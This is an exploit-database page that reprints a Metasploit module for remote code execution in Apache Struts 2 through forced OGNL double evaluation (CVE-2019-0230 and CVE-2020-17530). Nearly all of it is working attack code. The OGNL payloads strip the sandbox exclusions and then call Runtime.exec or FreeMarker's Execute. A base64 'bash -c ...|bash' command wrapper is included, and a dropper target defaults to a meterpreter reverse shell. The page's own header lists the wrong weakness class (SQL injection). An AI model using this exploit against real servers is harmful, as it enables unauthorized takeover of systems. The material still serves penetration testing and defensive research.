Advertisement






Apache Struts 2 Forced Multi OGNL Evaluation

CVE Category Price Severity
CVE-2019-0230 CWE-89 $15,000 High
Author Risk Exploitation Type Date
Dhiraj Mishra Critical Remote 2020-12-25
CPE
cpe:cpe:/a:apache:struts:2.0
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020120172

Below is a copy:

Apache Struts 2 Forced Multi OGNL Evaluation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
        'Description' => %q{
          The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
          attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
          tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

          This vulnerability is application dependant. A server side template must make an affected use of request data to
          render an HTML tag attribute.
        },
        'Author' => [
          'Spencer McIntyre', # Metasploit module
          'Matthias Kaiser', # discovery of CVE-2019-0230
          'Alvaro Muoz', # (@pwntester) discovery of CVE-2020-17530
          'ka1n4t', # PoC of CVE-2020-17530
        ],
        'References' => [
          ['CVE', '2019-0230'],
          ['CVE', '2020-17530'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
          ['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE, ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
            'Reliability' => [ REPEATABLE_SESSION, ]
          },
        'DefaultTarget' => 0
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
      OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
      OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
    ])
    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
      OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
    ])
  end

  def check
    num1 = rand(1000..9999)
    num2 = rand(1000..9999)

    res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
    if res.nil?
      return CheckCode::Unknown
    elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
      return CheckCode::Safe
    end

    return CheckCode::Appears
  end

  def exploit
    cve = datastore['CVE']
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")

    if cve == 'CVE-2019-0230'
      ognl = []
      ognl << '#context=#attr[\'struts.valueStack\'].context'
      ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
      ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
      ognl << '#ognlUtil.setExcludedClasses(\'\')'
      ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
      res = send_request_cgi(build_http_request(cve, ognl))
      fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
    end

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded, { cve: cve })
    when :linux_dropper
      execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
  end

  def build_http_request(cve, ognl)
    ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array

    http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
    http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
    if cve == 'CVE-2019-0230'
      http_request_parameters['method'] = 'GET'
      http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
    elsif cve == 'CVE-2020-17530'
      http_request_parameters['method'] = 'POST'
      http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
    end
    http_request_parameters
  end

  def build_ognl(cve, cmd)
    cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
    ognl = []
    if cve == 'CVE-2019-0230'
      ognl << '#context=#attr[\'struts.valueStack\'].context'
      ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
      ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
    elsif cve == 'CVE-2020-17530'
      ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
      ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
      ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
      ognl << '#bean.setBean(#stack)'
      ognl << '#context=#bean.get("context")'
      ognl << '#bean.setBean(#context)'
      ognl << '#macc=#bean.get("memberAccess")'
      ognl << '#bean.setBean(#macc)'
      ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
      ognl << '#bean.put("excludedClasses",#emptyset)'
      ognl << '#bean.put("excludedPackageNames",#emptyset)'
      ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
      ognl << "#execute.exec({\"#{cmd}\"})"
    end

    ognl
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum